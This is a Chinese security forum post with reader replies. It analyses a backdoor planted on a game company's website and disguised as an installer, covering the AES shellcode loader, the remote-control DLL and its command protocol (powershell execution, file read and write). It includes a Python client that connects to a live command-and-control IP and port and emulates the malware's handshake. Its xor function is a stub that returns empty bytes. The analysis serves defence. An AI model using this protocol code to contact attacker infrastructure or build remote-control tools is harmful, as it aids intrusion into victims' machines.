关于某知名游戏公司被挂马的文件分析
本帖最后由 zbby 于 2023-7-27 02:05 编辑来自某推的消息某知名游戏公司网站被人恶意挂马钓鱼
样本地址:xxxxxxx.xxxx.com/uploads/***%E7%99%BB%E5%BD%95%E6%8E%A7%E4%BB%B6.exe
样本伪装成openvxx的安装包乘机释放后门
外壳分析
逻辑十分清晰,首先使用AES128 循环解密shellcode 然后利用CreateTimerQueueTimer的CallBack参数来跳进shellcode。
我这边选择了修改外壳exe然后进行内存dump(可以看到后面跳转进shellcode的代码已经被我nop掉并修改成死循环了)
然后我们使用工具修复导入表再来看看shellcode
这边我发现这其实是一个dll,这块动态计算地址call到dllmain里去了
给dll分离出来以后很明显的就能看出来这是一个远控
这个dll使用winsocket和c&c服务器通信,使用xor加密
这边是下发指令执行部分(一个巨大的switch)
大概看了一下 功能有 ping 创建文件 读取文件 powershell启动程序等等
相关样本:https://s.threatbook.com/report/file/2244c600f75088d7788cdce77665e2d4805badac9340f16358a38e2de996702e(doc使用漏洞释放exe)https://s.threatbook.com/report/file/fab70a35c7f127519818d59790f5dd97e847a31763793d084fea65496b2c9aca
看雪:https://bbs.kanxue.com/thread-278166.htm 本帖最后由 zbby 于 2023-7-27 16:50 编辑
powershell执行命令
数据包id: 3 8 9
下发数据: 命令文本
返回数据: 执行结果
写文件
数据包id: 4
下发数据: 文件名 文件数据
返回数据: 执行结果(成功写出返回“OK”)
读文件
数据包id: 5
下发数据: 文件名
返回数据: 文件数据
powershell执行命令2
数据包id: 10 12
下发数据: 命令文本
返回数据: 命令执行数据
ping(似乎是检查连接用的)
数据包id: 11
下发数据: 无
返回数据: 未知
山寨远控客户端(用于获取/解密攻击指令):
import time
import random
import socket
init = False
ip_port = ('47.100.65.182',8081)
sk = socket.socket()
sk.connect(ip_port)
def getdesc(cmdid):
if cmdid == 3 or cmdid == 8 or cmdid == 9:
return "powershell执行命令"
if cmdid == 4:
return "写文件"
if cmdid == 5:
return "读文件"
if cmdid == 10 or cmdid == 12:
return "powershell执行命令2"
if cmdid == 11:
return "ping检查连接"
return "unknown"
def xor(data):
return bytes()
def xor_rnd(rnd):
result = bytearray()
for x, y in zip(rnd, b'\x69\xA4'):
result.append(x ^ y)
return bytes(result)
while True:
try:
if not init:
timestamp = int(time.time())
print("timestamp:", timestamp)
rnd = random.randint(0, 65535).to_bytes(2,byteorder='little', signed=False)
sk.sendall(rnd + xor_rnd(rnd)) # [随机数(2bytes)] + [之前的随机数 ^ 0x69A4 (2bytes)]
sk.sendall(xor(b'\x02\x00\x00\x00\x04' + timestamp.to_bytes(4,byteorder='little', signed=False))) #
init = True
print("--------------------------------------------------")
header_bytes = sk.recv(5)
header = xor(header_bytes)
cmdid = int.from_bytes(header[:4], 'little', signed=False)
size = int.from_bytes(header, 'little', signed=False)
print("cmdid:", cmdid)
print("desc:" , getdesc(cmdid))
print("size:", size)
payload_bytes = b''
while len(payload_bytes) < size:
payload_bytes += sk.recv(size)
payload = xor(payload_bytes)
print("payload:", payload)
sk.sendall(xor(b'\x01\x00\x00\x00\x0B\x00\x00\x00\x07\x73\x75\x63\x63\x65\x73\x73')) # 数据包id(4bytes) + 长度 (1bytes) + 数据(?bytes)
except:
print("connection was lost.")
break
辛苦楼主分享 半夜不睡觉发帖辛苦了!感谢分享 同样适用于其他游戏吗 辛苦了楼主,谢谢楼主。 平时也上不了这些网站{:1_918:} 半夜不睡觉发帖辛苦了!感谢分享 额 ,没太看懂代码,感谢楼主分享对新手友好 学习一下 感谢楼主分享 感谢楼主分享